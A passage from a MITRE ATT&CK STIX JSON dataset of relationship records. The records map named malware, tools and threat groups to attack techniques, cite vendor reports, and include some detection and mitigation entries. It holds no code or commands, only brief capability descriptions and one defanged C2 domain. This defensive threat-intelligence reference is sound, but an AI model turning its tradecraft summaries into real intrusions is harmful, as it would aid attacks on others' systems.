2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72e36412-4427-479b-bc8e-e8d53e997587","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"},{"source_name":"Symantec Hydraq Persistence Jan 2010","description":"Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.","url":"https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer"}],"modified":"2020-02-18T03:48:53.599Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates new services to establish persistence.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)(Citation: Symantec Hydraq Persistence Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72e501db-419e-4fe9-9f10-fa8f266d829b","type":"relationship","created":"2019-01-29T20:05:36.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.853Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can capture audio feeds from the system.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72ebbe49-a354-4894-bfa2-06016f3d1ae6","created":"2024-05-17T13:23:14.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.135Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses newly-registered domains containing only a few characters for command and controll purposes, such as \"v0[.]cx\".(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--72ec975a-43b4-4766-a2f4-385b6112858d","created":"2021-12-02T15:20:09.440Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) has the ability to act as a second-stage dropper used to infect the system with additional malware.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:14:36.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f0af8b-eb82-40d2-aa74-3ab60b72afb8","type":"relationship","created":"2021-10-01T17:13:49.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:39:35.886Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can encrypt, encode, and compress multiple layers of shellcode.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--72f11e69-93a9-4572-8217-0d6782b3cd44","created":"2022-06-06T18:37:39.536Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use HTTPS for communication with C2.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:09:40.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f4d17a-be89-446a-a728-133cb7048ab9","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f52cf0-dc68-4a4b-8025-724b2691c449","type":"relationship","created":"2021-07-26T17:53:02.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-26T17:53:02.254Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used compromised Office 365 service accounts with Global Administrator privileges to collect email from user inboxes.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72f5ca9f-6b0e-4051-b2ae-da1b59e6ed2b","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.842Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can scan for open TCP ports on the target network.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f97322-c7d1-41ea-a654-50e8039a8665","type":"relationship","created":"2020-02-20T18:39:33.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard","description":"Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.","source_name":"TechNet Credential Guard"},{"url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard","description":"NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.","source_name":"GitHub SHB Credential Guard"}],"modified":"2021-10-15T19:55:01.665Z","description":"With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.(Citation: TechNet Credential Guard)(Citation: GitHub SHB Credential Guard)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:19:49.896Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.(Citation: ESET OceanLotus)(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72fe5021-bace-41e4-9cc6-73af415225ac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.518Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72ff8ebb-a0fe-4ea0-9e4a-0f9aa2d48bc5","type":"relationship","created":"2021-02-08T21:46:51.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T17:55:01.910Z","description":"(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5","type":"relationship","created":"2021-03-22T02:08:48.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-03-31T16:34:43.154Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the /Users/ folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--730190b3-d372-4461-9bf4-94de4c078968","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."},{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.396Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can download and execute files.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7307a870-2d74-4e46-9ba0-8fb83d598cfb","created":"2020-12-14T17:34:58.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:02:37.587Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) injects an entire DLL into an existing, newly created, or preselected trusted process.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--730a2fb5-2f51-4db1-b4f1-2112d64df4bf","type":"relationship","created":"2019-02-19T17:18:41.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2020-03-17T00:25:35.884Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) can use DNS and TXT records within its DNS tunneling protocol for command and control.(Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--730a735c-1008-490e-b0c8-6938b858b28a","type":"relationship","created":"2021-04-21T13:20:13.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-21T15:02:21.244Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has used a custom RC4 and XOR encrypted protocol over port 443 for C2.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--730b45b7-ec28-4402-933f-006e39ea2f60","created":"2024-05-22T22:27:39.772Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:27:39.772Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used 7zip to archive extracted data in preparation for exfiltration.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73137a74-58b1-4d45-b6dd-e8b4fbfe6236","created":"2022-10-13T17:48:15.590Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:48:15.590Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [dsquery](https://attack.mitre.org/software/S0105) to retrieve all subnets in the Active Directory.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7313a6d7-fb8f-4254-8de2-fd42da02dd6a","created":"2024-05-22T20:27:54.963Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:27:54.963Z","description":"[Apostle](https://attack.mitre.org/software/S1133)'s ransomware variant requires that a base64-encoded argument is passed when executed, that is used as the Public Key for subsequent encryption operations. If [Apostle](https://attack.mitre.org/software/S1133) is executed without this argument, it automatically runs a self-delete function.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","source_name":"Crowdstrike DNC June 2016"}],"modified":"2019-05-14T17:10:21.903Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote file transmission.(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73171e71-b769-41ff-874a-ff76da43541f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-17T01:05:58.602Z","description":"[Emissary](https://attack.mitre.org/software/S0082) uses HTTP or HTTPS for C2.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7317bd48-16da-4ef1-87c9-fac7fd758d61","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for newly constructed services/daemons. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--731a7678-8b88-47c9-88a6-7bc897bb79bb","created":"2022-04-18T17:26:28.527Z","x_mitre_version":"0.1","external_references":[{"source_name":"AADInternals 